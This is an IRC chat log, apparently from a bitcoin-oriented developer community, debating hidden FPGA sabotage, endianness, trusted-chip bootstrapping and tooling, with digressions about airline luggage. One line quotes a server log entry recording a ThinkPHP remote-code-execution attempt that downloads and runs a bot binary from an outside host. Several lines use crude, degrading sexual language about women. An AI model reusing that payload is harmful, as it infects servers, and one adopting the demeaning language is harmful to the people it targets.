mp_en_viaje: there's a lot of formal difference, of course. exaclty like there's a lot of formal difference between fucking a crack whore in the ass and fucking a strep throat slavegirl in the mouth.
asciilifeform: mp_en_viaje: asciilifeform does not and at no point did posit a 'magical amulet' iron that somehow cures the effects of throwing in braindamaged softs
mp_en_viaje: to restate the point : there's no substantial difference between a) using dns/ntp ; b) running windows and c) writing your own code to run on your own hardware and interface with say dram.
asciilifeform: conversely, one who is satisfied with the analogue boards, but not the vonneumanizer, can use the former and discard the latter, replacing with own
asciilifeform: ( observe that a hardline skeptic who cannot be satisfied with the 'rngicity' of the analogue boards, can replace'em with hand buttons, or roulette wheels, if he is willing to live with smaller bit rate )
mp_en_viaje: if you expect to detect electically isolated islands, as what you mean by "optically", then yes.
asciilifeform: then and only then it is meaningful to try an' audit the logic payload as a separate entity.
asciilifeform: the ~substrate~ gotta be a physically auditable object tho.
mp_en_viaje: but the point here was, that as long as what you're implemeting is, say, tcp, or dram, what you will get is not in fact a safely auditable object.
mp_en_viaje: we don't agree there.
mp_en_viaje: neither are you. the only approach is to not use towers of shit. trying to calculate the resonance frequencies of arbitrary shitpiles is going to get you in the same line as karman went
mp_en_viaje: i am not equipped to evaluate the geometry of a leverage of tower of shit.
asciilifeform: this is the definition of the desired mine. but does not describe how one could actually fit such 'recognizer' inside without it physically dwarfing the rest of the item.
mp_en_viaje: how did the carveout amplify discussions not occuring in that room ? it did not.
asciilifeform: gotta flesh this one out tho, cuz as written it posits the conclusion. how does the raw device know that it is being put to use for tcpip ? rather than e.g. to control aquarium temp.
mp_en_viaje: this happened, factually, in the su embassy thing with the carved wooden amplifier thingee.
asciilifeform: keep in mind plox that the 'mine' cannot be bigger than the intended 'mine field' tho.
mp_en_viaje: i'll give you an example if you promise to not focus on the example.
asciilifeform: i.e. where the part is for all purposes a working one, except in specific condition known to enemy apriori
asciilifeform: mp_en_viaje: it is entirely possible to sabotage fpga in the e.g. 'philips light bulb' sense, where it burns out after 5000 hrs. or shorts + to - erry month. or similar. these are 'physical' sabotages, and imho uninteresting because indistinguishable from simply shoddy part. the interesting hypothetical mine is a ~logical~ mine.
mp_en_viaje: in short, we're not disagreeing about the same thing.
mp_en_viaje: it is fucking there.
mp_en_viaje: the problem remains though -- yes, perhaps in the formulation of "hide it i nfabric", the deeply imperial nature of X Y Z may be irrelevant. nevertheless,
asciilifeform: observe that you can't do this for, say, cpu (even the simplest 1980s 8bit micros had all sortsa oddball unpredictability re context-dependent electrical characteristics)
asciilifeform: asciilifeform's fg test process for freshly-received boards, for instance, included an (unpublished, and won't be published any time soon) set of test circuits for the fpga , that characterized the propagation delays.
mp_en_viaje: the correct modelling of hiding an alarm clock (slash thorium bar slash live slavegirl slash angry ferret etc) is not a naive linear extension of captain koons' clever watch hiding techniques.
asciilifeform: mp_en_viaje: the q is not whether a human reverser can find nic stack with his eyes, but whether you can stuff a robotic 'finder-diddler' of same into general-purpose sea of gates fabric , and still have item that passes inspection (incl. having the expected homogeneous propagation delays b/w the gates)
mp_en_viaje: you know the joke about the guy who thought "the more places i have to hide this alarm clock in, the better chances to escape with it" ? "what if it rings ?"
mp_en_viaje: this may also be true, but the true constraint is the relative height of the previous objection. inasmuch as your ethernet stack looks like an ethernet stack, you're not hiding it.
asciilifeform: the 2nd contention of asciilifeform's , is that the moar room victim has to permute ~his~ intended contents, the moar painful the job of the one laying the mine.
mp_en_viaje: this much is true. but the point can not be easily avoided that in fact the use you intend to put that fabric to is ~not~ homogenuous. at all.
asciilifeform: item was re 'what computing device offers least room in which to hide a mine when you buy it from enemy'. asciilifeform contends that the moar homogeneous the fabric, the moar difficult to interestingly hide a useful mine. i.e. if you wanted to sell the victim an sram that replaces e.g. mp_en_viaje's pubkey with gavin's whenever it is loaded therein, the resulting device will look quite diff even on optical microscope (not even speak
mp_en_viaje: this, incidentally, has a romanian name, from the 1800s, when the romanians invented it. "teoria formerlor fara fond"
mp_en_viaje: http://btcbase.org/log/2019-04-08#1907543 << the sad results of the "show and tell" pseduo-school culture. "it's more important to get kids talking than to get them to have something to say"
mp_en_viaje: though we're on the 4th cup at this table... i guess if it runs long ima invoice you for nicole's coffeegreed
asciilifeform: there were actually iron makers demented enuff to actually bake that. iirc ibm.
mp_en_viaje: asciilifeform, i think i barfed at "nUxi", which is not, properly speaking, any particular endianism but the necessary and equivalent result of mixing.
asciilifeform: tho at the risk of replaying the ancient thrd, if you prohibit byte-addressing , you lose the 'endianism' wank thereby
mp_en_viaje: anyway, as far as im personally concerned between mar 2019 and jan 2018 there intervened a lot of eulora-related endianism sads. incl the celebrated http://ossasepia.com/2018/02/08/eucrypt-chapter-9-byte-order-and-bit-disorder-in-keccak/
asciilifeform: me, the moar i work with arithmetics, the moar plus i see to the 'big' (where 'bignums' are printed correctly when raw hexdumped )
asciilifeform: mp_en_viaje: i suggest to look again at the endianisms , so to remember which 1 it was that you barfed on
mp_en_viaje: seems more like we agreed on something or the other last time, and we agree on something or the other this time, except the things themselves may be bitflipped.
asciilifeform: that one only does the americas tho, i cannot currently comment re europistani carriers
asciilifeform: incidentally even 'copa air' -- the only, afaik, co that was even willing to offer 100kg-per-man ~for extra charge~ -- still did not offer guarantee that they'd actually ~take~ the cargo ( answrd 'show up with it and ~probably~ it will get loaded , i.e. roulette )
mp_en_viaje: the problem was not moving it back an' forth ; but the dorky airlines giving up on life.
asciilifeform: diana_coman: believe or not, they had no porter or anyffing resembling.
asciilifeform: didn't want to break an otherwise perfectly working aboriginal gurl
asciilifeform: she must've weighed half of what 1 of the trunks weighed. so declined
mp_en_viaje: i just make the women lug it.
asciilifeform: and i had to lug that 100 up the stairs in oddball BingoBoingostani hotel where 'want lift? here's some stairs to it'
mp_en_viaje: i packed a few whips and other irreplaceable leather etc torture/domestic implements. but no actual furniture.
PeterL: recently I saw an ad for some brokerage service, they actually included as one of the selling points "you can feel like a trader!"
asciilifeform: diana_coman: tlp had the piece re 'they get faux-brokerage acct to Feel Like a Trader'
diana_coman: closer to feeling like launching one, most probably the whole point anyway.
a111: Logged on 2019-04-08 11:51 mp_en_viaje: moreover, and overwhelmingly important, some duning-krugerands retarded enough to not understand that their cunt map they made (coming from the same place their "let's make a pact to get laid before highschool starts" "pact" came, ie, complete insanity and a ridiculously nonsensical worldview, wherein they're magically the only agents, and the world exists on the basis of their mental processes and in no other way, notwithstanding the obvious probl
a111: Logged on 2019-04-08 11:34 mp_en_viaje: http://btcbase.org/log/2019-04-06#1907141 << im not so sure the generalized problem is that interesting. he has a solid point, "are you kidding me, i can identify your ethernet stack with a fucking pickup needle".
a111: Logged on 2019-04-08 09:47 mp_en_viaje: but! c) i show up, explain i got 3 people but ~200kgs of luggage (i'm fucking diana ross over here) and their idea was to.... pay for ticket, after which show up at airport, ~with no carrier guarantee whatsoever~. "pay us so many thousands to put yourself in such a spot, we can ask for any moar moneyz we think of".
asciilifeform: http://btcbase.org/log/2019-04-08#1907377 << they're ~all~ like this nao ('want guarantee -- go pay for freight container') , found this when doing piz expedition
asciilifeform: bigendian is sadly ~extinct on extant market iron tho. to the point that i haven't even a working one in torture room to test on presently.
a111: Logged on 2018-01-25 16:52 asciilifeform: mircea_popescu: re the 'guillotine neck vs mandible', if it ain't obvious, i'll spell it out ftr : bigendian nums look 'ffaistic' when hexdumped, i.e. correct . littleendian -- you gotta mentally flip'em.
a111: Logged on 2019-04-08 09:57 mp_en_viaje: http://btcbase.org/log/2019-04-05#1907026 << i can't conceive what small endian ~even is for~. what is it for ? i'm against even supporting it altogether, you want to computer, use a computer that netowrk oders.
asciilifeform: last i dun into subj in depth, formed impression that usg may have exterminated (and swallowed the bones of) all extant makers of antifuse rom, in early '90s . on acct of the intrinsic radiation resistance of antifuse vs flash.
asciilifeform: i.e. you can buy all the 'otp eprom' you want, but they're ALL ordinary flash with the write pin (promisetronically) nonworking
asciilifeform: http://btcbase.org/log/2019-04-08#1907362 << funnily enuff, asciilifeform not long ago did the ~quarterly walk of parts catalogues, 'can haz genuine antifuse eprom?' (spoiler : 'nope' just like since when started lookin' in 2013 )
a111: Logged on 2019-04-08 09:18 mp_en_viaje: btw, how's the cold asciilifeform ?
asciilifeform: http://btcbase.org/log/2019-04-08#1907493 << pretty sure he still can ; rather, ran off
mp_en_viaje is getting kinda tired of this chair, will mosy along now, but fully intends to check back in either later today or more likely tomorrow.
a111: Logged on 2019-04-07 21:57 PeterL: seems to be a function of how far from the price listed elsewhere that you start it
a111: Logged on 2019-04-07 16:04 asciilifeform: http://btcbase.org/log/2019-04-07#1907304 << i formerly thought that this was obvious from the docs , but you ~can~ operate on vpatches without a vtron ( they're edible by trad. unix 'patch' util, and you can verify the sigs with anyffin roughly gpg-like , also by hand )
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907311 << yes, everything in the republic bootstraps naturally and self-evidently, because naturally and self-evidently IT WAS DELIBERATELY BUILT TO.
a111: Logged on 2019-04-07 13:24 phf: OriansJ: so i've thought about it, expressing concepts in forms for general consumption is a bad coping mechanism from a life time of being the smartest person in the room (assuming that it's not a ruse or self-delusion and you _are_ actually capable of clear thinking). problem is that it makes you lazy and rots the brain, and then when you're in the room of equals or superiors you suddenly discover that you're not practiced at
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907308 << not to mention a) insulting and b) counterproductive. whenever you say something dumbly you steal from the smart, to give to the dumb. this is both shameful, ie ethically wrong, and evil, ie, morally wrong. if you've decided to steal, always steal from the dumb to give to the smart. they make much better friends.
a111: Logged on 2019-04-07 12:17 OriansJ: phf: short version SVG that only supports lines and text but not SVG Animation or any of the other fun extras.
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907307 << the map his vpatch viewer spits out should work with that subset ; so should something like http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.html ; if you don't see a circle of links under the fingerprint, i expect your "subset of svg" is actually not functional on some level. though as he says, the actual possibility of having such a custom svg is dubious altogeter.
a111: Logged on 2019-04-07 12:01 OriansJ: now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches.
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907304 << this is not a bad option lol, we do this exact thing alllll the damn time. how the hell else ?
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907276 << as a factual matter, it seems to work fine without javascript : http://browsershots.org/http://btcbase.org/patches?patchset=v ; it does not however work fine on broken browsers, which admittedly is quite the overwhelming majority of all browsers however counted.
a111: Logged on 2019-04-07 00:34 OriansJ: the javascript requirement is a bit odd though for the patches page
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907271 << i suspect he cribbed it from trilema, which has the ~same gracefully-degrading js-dropbox.
a111: Logged on 2019-04-07 00:22 asciilifeform: BingoBoingo: quick on the trigger finger today aintcha
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907247 << i confess the wikilinks irritated me also.
a111: Logged on 2019-03-26 20:07 mircea_popescu: bvt, so put the matter to him plainly, "look, the republic is considering this, either come over and make your case or what d oyou want to do" ?
a111: Logged on 2019-04-07 00:04 asciilifeform: i cannot resist to ask OriansJ , what exactly then is he doing here ?
mp_en_viaje: somehow it's the first time in my memory.
mp_en_viaje: is this the first time btw ?
a111: Logged on 2019-04-07 00:04 OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed
a111: Logged on 2019-04-07 00:01 OriansJ: asciilifeform: which is fine if you expect to only work alone and have the work lost in the sands of time.
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907211 << you're being simply ridiculous. the only one who's in no danger of that is him. the one currently suffering from it, is you. don't be the guy with pellagra going about telling the furst of schwarzburg an' the count palatine of blois / lord elector of bavaria about "how to avoid pellagra". for one thing, they can't get it, they eat meat.
a111: Logged on 2019-04-07 00:01 OriansJ: asciilifeform: which is fine if you expect to only work alone and have the work lost in the sands of time.
mp_en_viaje: that's what effective means, preventing the uncommitted. http://trilema.com/2013/the-disadvantage-of-teaching-people-the-alphabet-and-nothing-more-is-that-you-have-to-somehow-put-up-with-a-bunch-of-retards-that-can-now-express-themselves-in-writing/ and all that.
mp_en_viaje: you wish to meaningfully participate, there's the http://trilema.com/2013/youre-gonna-have-to-learn-that-variety-speak/ step in your way. so, to put it quite bluntly, it is the ~only~ ffective mechanism of documentation reference, ~specifically because~ it denies access to rando "i think i'm s-m-r-t
mp_en_viaje: http://btcbase.org/log/2019-04-07#1907209 << it's not effective for you, personally. this is deliberate, because we deliberately do not wish to support the "foss ethos", so to call this contemporaneous impudence where sophomore medical school students expect to walk into operating theatres and start cutting on bodies as they lay on operating tables.
a111: Logged on 2017-08-21 14:43 phf: i spent (mostly another whisperer and myself did) on getting vlm stable, and i'm unconvinced that some of the issues we encountered were purely "buggy vlm". there is, for example, a crash in floating point instruction that happens when you load document examiner on stock piratebay opengenera. i have no explanation for it still, because vlm code ~seems to do the right thing~. there are other similar instances
a111: Logged on 2019-04-06 23:57 OriansJ: asciilifeform: we don't need cycle-accurate; we just need good enough to be able to write the pieces that will run on it directly
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907201 << jesus chryst, stop with the we. and yes, you do, because http://btcbase.org/log/2017-08-21#1701489
mp_en_viaje: https://duckduckgo.com/?q=bolix+ivory << top hit, of course... the one, the only, the true etcetera. last year's vintage, too.
mp_en_viaje: pointedly : is there anyone besides you tryna work on this M-whatever thinge ?
a111: Logged on 2019-04-06 23:48 OriansJ: asciilifeform: well we can either wait for others to perform miracles or we can get off our asses and make them for the world to see.
a111: Logged on 2019-04-06 23:46 OriansJ: asciilifeform: honestly, the chemicals and the patents are still a mess in that field plus the never could produce a chip that could exceed 100khz
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907179 << that's ok, the republic recognizes no patents.
mp_en_viaje: and so no, it is very much not a step, directions indifferent. it's a nonstep, very specifically what kanzure is famous for here -- nonsteps like these can readily take decades and deliver 0. exactly like masturbation (which the whole exercise precisely and transparently is, masturbation for the erectile dysfunctional).
mp_en_viaje: for all you know weevils think they're eating your rice with the best of intentions. and termites, and cockroaches, and all other pests. because your shit tastes good, and they like good stuff, and so of course it's all with the good intentions ? no ?
mp_en_viaje: em with this theory -- namely that they're agreeing to get laid ~even now~ and apparently their agreement still dun do jack shit, so maybe something else is the controlling factor ?) carries less utility than the clean paper they started with can assign ~themselves~ "good intentions" until they're blue in the face, for all the difference it makes. they're still ~ill intended~ blotter paper bandits, exactly like weevils.
mp_en_viaje: moreover, and overwhelmingly important, some duning-krugerands retarded enough to not understand that their cunt map they made (coming from the same place their "let's make a pact to get laid before highschool starts" "pact" came, ie, complete insanity and a ridiculously nonsensical worldview, wherein they're magically the only agents, and the world exists on the basis of their mental processes and in no other way, notwithstanding the obvious probl
a111: Logged on 2019-04-06 23:44 OriansJ: asciilifeform: It is a guide for groups of people to pool together resources and setup a 1 micrometer fab to generate trusted chips. Yes it is far from optimal but it is a step in the right direction.
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907171 << but a guide written by the blind. there's some very drastic limits to "good intentions", and ESPECIALLY to self-awarded "good intentions", you must understand. the best of intention do not permit a bunch of poor kids from rural idaho to write a half-useful (ie, useful in more than 50% of cases) munchen subway map.
a111: Logged on 2019-04-06 23:40 asciilifeform: looking at the 'process steps' docs in the linked page, it seems to be a straight wikipedization of ordinary schoolbook description of ic fab process
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907163 << intel sez exactly http://trilema.com/2014/bitcoin-in-argentina-exactly-nothing-to-do-with-the-derps/#selection-197.0-197.39 item.
a111: Logged on 2019-04-06 23:37 OriansJ: So, perhaps the most important question what has been actually decided about Sane Iron and what still needs definition?
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907157 << so far all that's actually been decided is the rng source (no, no tpossible to have sane iron w/o rng).
mp_en_viaje: (in fairness -- the why not is that by now bitter experience with all sorts of "libre" dorks has clearly shown they function as an imperial decoy and ~nothing else. i can't distinguish between "3d printing" sintered "guns", raspberry pi bullshit, and any other such item).
a111: Logged on 2019-04-06 23:35 OriansJ: Let us just assume the FPGA was not compromised and leverage it for the bootstrap work at this stage (I'll be going to pure LibreSilicon before I am finished but hey to each their own)
a111: Logged on 2019-04-06 23:30 OriansJ: asciilifeform: well some of these patterns are universally useful and will exist even in Sane Iron systems
a111: Logged on 2019-04-06 23:26 asciilifeform: the puzzler concerns 'general purpose' sabotaged fpga, rather than case where you know what the victim intends to connect and what protocols etc
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907141 << im not so sure the generalized problem is that interesting. he has a solid point, "are you kidding me, i can identify your ethernet stack with a fucking pickup needle".
mp_en_viaje: there's a reason early airplanes "flew" rattan bodies on denim wings, and it ain't to do with science. it's just that aluminum machining comes once there's a reason for it, not before.
mp_en_viaje: specifically : just as ~any other idiocy~, carried by the high tide of industrialisation, would have just as falsely appeared just as successful as "modern democracy", and just as ~any other idiocy~, carried by the high tide of european stock, would have jus tas falsely appeared just as fundamental as xtianity, just so any attempt at computer design in the period of not-really-having-electronics'd have ended up braindamaged.
a111: Logged on 2019-04-06 23:13 OriansJ: There are very good reasons why typed memory systems appeared after high level languages did.
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907115 << list them sometimes ; the agreed upon explanation here is that it's purely coincidental, much in the vein of christianity and european civilisation or "modern democracy" and prosperity.
mp_en_viaje: there's entirely no need of "utf/unicode/bs" ; the place where these go, as a mask atop bytes, is where "strings
a111: Logged on 2018-11-04 23:13 mircea_popescu: IF you can't configure your termina, either get a better one or understand you're at fault for your own pain.
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907101 << why ? consider the problem of http://btcbase.org/log/2018-11-04#1869285 ; what ELSE is supposed to be an os primitive ? maybe, code colorization too ? maybe the os should have a native concept of "what the data means to you" ?
a111: Logged on 2019-04-06 21:49 asciilifeform: http://btcbase.org/log/2019-04-05#1907023 << whytheFUCK wouldja want the nullterm-string warcrime to exist on a brand-new arch ?
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907081 << i opted to let that pass in silence, too much work to open the can from that seam. but... yeah, no fucking strings, not ever again.
mp_en_viaje: we liked specifically the analogic quality of it.
mp_en_viaje: actually has no clear notion of "reboot", i suppose is the true characteristic here, hence the original virii/tsr's. ~kernel modules, ipso facto.
a111: Logged on 2019-04-06 21:48 asciilifeform: http://btcbase.org/log/2019-04-05#1907021 << 'dos' as typically discussed here is simply shorthand for 'os that fits in coupla kB and gets the fuck out of the way and speaks only when spoken to' , roughly
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907079 << in retrospect it's not clear what specific vhs-dos we mean when we just say "dos" in such contexts, but i believe the "brain-operation-immune" part is central -- can delete modules w/o "reboot".
mp_en_viaje: goodness is the only criteria. "users" really don't count for anything. let them learn.
a111: Logged on 2019-04-06 12:59 OriansJ: Mocky: Don't get stuck on the idea of Floating point, it is just an example of classes of instructions that are complex to implement in hardware that a proper illegal instruction trap will allow us to move between hardware and software with no one else having to care what we are doing. As we want people programming to standards not to systems.
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907069 << no, but see, we discovered a significant disconnect here. we DO. NOT. SUPPORT. ANYTHING. fuck them all. there's no pseudo-"friendly" postelism contemplated, there's no incumbent desire or inclination to "provide" for a vague, imagined "audience" clamoring somewhere downstream.
mp_en_viaje: the fucking game of life is computationally universal for crying out loud.
mp_en_viaje: likbez : any machine that can simulate itself is turing-complete. the word "machine" is meant most abstractly, something as bare-bones as maths people would call "a function" could conceivably qualify. an ~imagined~ tape with a theoretically defined reading head associated eminently qualifies. and so on.
a111: Logged on 2019-04-06 12:48 OriansJ: Mocky: yes that was my point; floating point will either exist in hardware or software because of Turing completeness.
mp_en_viaje: i reallly dislike noun strings, espcially as the count goes over 3.
a111: Logged on 2019-04-06 12:46 Mocky: and in addition you suggested floating point as software addon. turing completeness can now be achieved after the fact!
mp_en_viaje: no particular datastructure is any part of turing completeness, what the heck is this!
a111: Logged on 2019-04-06 12:41 OriansJ: Mocky: floating point support is part of being turing complete. We can either bitch about how bad it is (Like the old MIPS engineers) or accept the reality and figure out a why that costs us the least.
a111: Logged on 2019-04-06 12:28 diana_coman: it seems quite surprising to me there isn't more interest but tbf I haven't used local WU ever, would need to even look it up, lol.
mp_en_viaje: it's arguably a defensive hack in the era of the 8 bit byte ; but with 64 bit bytes... gimme a break, what does legacy nonsense buy anyone. no "floats".
mp_en_viaje: http://btcbase.org/log/2019-04-06#1907044 << i actually don't think "floating point" is a good idea altogether.
a111: Logged on 2019-04-06 00:45 OriansJ: I've been exploring the logs and one thing you may wish to know about bootstrapping MIPS is humans writing assembly need only 7 registers (I round up to 16 to include Stack pointer(s) and Condition register(s) and if my goal was optimize for C compiler performance, I would have gone with 64 registers (architecturally unified between the Integer unit and the Floating point unit but leveraging the trick of the DEC Alpha 21264 and
mp_en_viaje: "The system used to run several central message servers around the world for redundancy, but in 2017-2018 upgraded to Amazon Web Services that provides a geographically-redundant cluster of virtual servers with dynamic load balancers and global content-distribution." ie well ripe.
mp_en_viaje: in other obscura, since this apparently wasn't yet in the logs : re http://btcbase.org/log/2013-04-15#-12420 , winlink!
diana_coman: I wanted to ask whether Bartholomew went back to its roots!!
mp_en_viaje: not like i took the cars or etc.
mp_en_viaje: depends what you're doijng, you know, if i go to visit prague for a week i don't take the whole menagerie.
mp_en_viaje: 200kgs for one thing ; and then... at a bitcoin a kg or some shit...
a111: Logged on 2019-04-05 23:06 OriansJ: Big Endian instruction and data encoding seem the most obvious great ideas for simplifying the task of bootstrapping (especially in regards to troubleshooting)
mp_en_viaje: http://btcbase.org/log/2019-04-05#1907026 << i can't conceive what small endian ~even is for~. what is it for ? i'm against even supporting it altogether, you want to computer, use a computer that netowrk oders.
mp_en_viaje: then again, british also had my business in the 90s. they went early & bravely into sad nobody had sadded before.
mp_en_viaje: they used to have 100% of my euro biz, back when i last was in yurp.
diana_coman: lolz; lufthansa has been going very sad over the so-many-years really
mp_en_viaje: who the fuck does business like this ? besides pichis, thieves & co ?!
mp_en_viaje: but! c) i show up, explain i got 3 people but ~200kgs of luggage (i'm fucking diana ross over here) and their idea was to.... pay for ticket, after which show up at airport, ~with no carrier guarantee whatsoever~. "pay us so many thousands to put yourself in such a spot, we can ask for any moar moneyz we think of".
mp_en_viaje: and talking of zee germanz : a) lufthansa dun have offices anymore, it only deals through agents ; b) which charge a fee ON TOP OF A FEE. because lufthansa not only doesn't operate offices anymore -- it charges anyone who does 16 euros. it's like they think they're a happening nightclub or something, gotta pay a cover to be allowed to pay for drinks.
mp_en_viaje: http://btcbase.org/log/2019-04-05#1907037 << did you see the ivory xray sets ? people here will trust what they can verify, quite literally. the trust model is built atop the wot, which is quite fundamental to how stuff works here.
a111: Logged on 2019-02-05 18:46 phf: mircea_popescu: is the idea that message like logotron will render it as just "logotron" in html?
a111: Logged on 2019-04-05 23:12 OriansJ: If one doesn't want to have a boot rom; one needs either a hardware tape reader (which writes tape to memory on power on and jumps to address 0 to run it or a toggle board. A serial bus just moves the bootstrap trust issue to another piece of hardware
a111: Logged on 2019-04-05 22:57 bvt: to my understanding there are two questions: 1. what are the requirements to the architecture 2. what is the first interim stop after a post-M1 assembler?
mp_en_viaje: http://btcbase.org/log/2019-04-05#1907014 << actually my own questiosn are different. line 1 : is this a live project or is it mostly scar tissue left behind a dead dude a la http://trilema.com/2016/cat-vorg-adnotated/ ; line 2 how pantsuit-infested is it, actually, can we work together or will we have to fork if we intend to. basically, "looks remarkably good, i wonder what's the catch" phase.
mp_en_viaje: btw, how's the cold asciilifeform ?
a111: Logged on 2019-04-05 22:53 OriansJ: BingoBoingo: I agree POSIX has a great many flaws but there are some ideas inside of it worth preserving; especially in regards to bootstrapping.
mp_en_viaje: http://btcbase.org/log/2019-04-05#1907008 << this is so ; actually if you feel like writing an as-complete-as-feasible list / essay it'll prolly turn into quite the workable schelling point for further discussion there.
mp_en_viaje: meanhile in local flavour, /me is having a very credible sasuage, bean, poached eggs on toast, extra stout guiness breakfast at this rather coquettish pub, while watching the waitress tryina pick up the maintenance man.
mp_en_viaje: unknown that'll then be travelled by "the many". the republic's not about the many, and our committment doesn't stem from or waver with adoption.
a111: Logged on 2019-04-05 22:51 OriansJ: well let me ask it this way; are you planning to use a posix subset or a subset which will portable upon posix and other OS bases?
mp_en_viaje: http://btcbase.org/log/2019-04-05#1907005 << this part is actually up in the air ; and premature yet for me to call for discussion or attempt a standardization process. from your pov, however, likely the most shocking aspect is that the republic doesn't consist of the usual developer, ie http://trilema.com/2018/and-in-todays-lulz-the-obnoxious-cocksucker/ aka the enthusiat dork who sees himself as some kind of trailblazer, finding new ways into the
mp_en_viaje: http://btcbase.org/log/2019-04-05#1906994 << the long term expectation, along with the only possible direction, is the republic prevailing, in this as any other matter. there's a lot of ideological debt you may be interested in i guess.
a111: Logged on 2019-04-05 22:26 OriansJ: bvt: well to be honest, an Ada subset would be much easier to implement than a C subset; the problem however is always available contributors.
mp_en_viaje: http://btcbase.org/log/2019-04-05#1906987 << the lordship list is over at http://trilema.com/2019/antiqua-sanctorum-patrum-or-the-lordship-list-sixth-year/ ; those are all (if not the only) contributors. in the immortal words of joe polito, "i'm telling you, as a courtesy. i need to do this thing, so it's gonna get done".
a111: Logged on 2019-04-05 22:17 OriansJ: So I hear there is some interest in bootstrapping architectures here
mp_en_viaje: http://btcbase.org/log/2019-04-05#1906980 << yes ; progressing from a gentoo fork end, from an ada-as-systems-language end, from a bitcoin-has-to-be-an-os / needs-own-fs end, and from a few other too small to list yet.
BingoBoingo: Do you still have the WU information or should I GPGgram it again
PeterL: seems to be a function of how far from the price listed elsewhere that you start it
asciilifeform: in other lulz : 200.77.147.186 - - [07/Apr/2019:15:38:49 -0400] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://love.thotiana.live/bins/x86.bot;cat%20x86.bot%20>%20fucklol;chmod%20777%20fucklol;./fucklol%20thinkphp HTTP/1.1" 301 185 "-" "WOW" "-"
phf: bvt: do you mind signing http://btcbase.org/patches/vtools_tempfile_standalone_notmp the version at http://btcbase.org/data/vtools/vtools_tempfile_standalone_notmp.vpatch i reground it for keccak and new manifest
lobbesbot: asciilifeform: The operation succeeded.
asciilifeform: phf: hrm i missed the http://btcbase.org/log/2019-04-07#1907295 ln. on init. read. patients with this symptom have exceedingly poor prognosis (witness e.g. Framedragger , succumbed to torcancer year+ after init. remission..) but it aint like the triage queue is full , thought worth try.
asciilifeform: OriansJ: you may find it interesting that a number of noobs wrote own vtron, rather than bothering to audit the old; the former is generally easier than the latter
a111: Logged on 2019-04-07 08:49 spyked: http://btcbase.org/log/2019-04-07#1907214 <-- don't you find it weird, though, that you say this, and then after just a few lines you http://btcbase.org/log/2019-04-07#1907238 ? this is not a rhetorical question: you're unimpressed by the recorded 5+yo history of discussions of a group of ~actual people~, and the reflection therein of their ~actually doing~ things; and then immediately you go on to referen
asciilifeform: http://btcbase.org/log/2019-04-07#1907286 << to make matters worse still -- i tried , but still cannot fathom what was the connection b/w the linked pediwikism and the thread..
asciilifeform: iirc we encountered 1 of these at least 1ce before -- a fella who didn't want to keep either python or perl around on his machine, but wanted to v
a111: Logged on 2019-04-07 00:29 asciilifeform: OriansJ: then have, e.g., 'v' : http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system
a111: Logged on 2019-04-07 12:01 OriansJ: now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches.
asciilifeform: http://btcbase.org/log/2019-04-07#1907304 << i formerly thought that this was obvious from the docs , but you ~can~ operate on vpatches without a vtron ( they're edible by trad. unix 'patch' util, and you can verify the sigs with anyffin roughly gpg-like , also by hand )
OriansJ: phf: I have always felt precise and clear communication can only occur when both parties are open to the expression to incomplete thoughts with the goal of synchronize understandings. Otherwise the communication style is forced into a form of data dumps with long load times and a general ineffectiveness of cooperation between individuals; particularly when the delta between individuals is large.
phf: expressing yourself precisely and communicating clearly. another problem is that you yourself start thinking in shortcuts. and to what end? like take your svg comment, what's it supposed to accomplish? "oh, how interesting". anyway, please don't do it here.
phf: OriansJ: so i've thought about it, expressing concepts in forms for general consumption is a bad coping mechanism from a life time of being the smartest person in the room (assuming that it's not a ruse or self-delusion and you _are_ actually capable of clear thinking). problem is that it makes you lazy and rots the brain, and then when you're in the room of equals or superiors you suddenly discover that you're not practiced at
OriansJ: phf: short version SVG that only supports lines and text but not SVG Animation or any of the other fun extras.
OriansJ: phf: well few people would understand that position; so I tend to express concepts in forms for general consumption. Even though it will result in loss of precision; as few people are technical enough to care about the details lost.
phf: oh you just don't support html in general (presumably you still http with something like wget), i think your position would've been a lot stronger if you just said so, rather then something something tor browser. i'm vaguely curious what "non-turing complete svg subset" is, but that's a stone that will have to be turned some other time
OriansJ: now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches.
OriansJ: phf: It is on a seperate machine; The svg subset that isn't turing complete is enabled and working.
OriansJ: phf: The choice of browser as per your previous comment
OriansJ: phf: the cost of trying to interact with those that don't share one's values; for the sake of hopefully learning something of value or finding a fruitful cooperation.
OriansJ: I would like to thank everyone here; for helping me to realize the importance of good documentation.
phf: http://btcbase.org/log/2019-04-07#1907277 << it works fine without the javascript, i use it regularly in lynx (and occasional exotic browsers like netsurf), but i suspect it will fail in a browser, that both fails to display SVG and then fails to display a link map
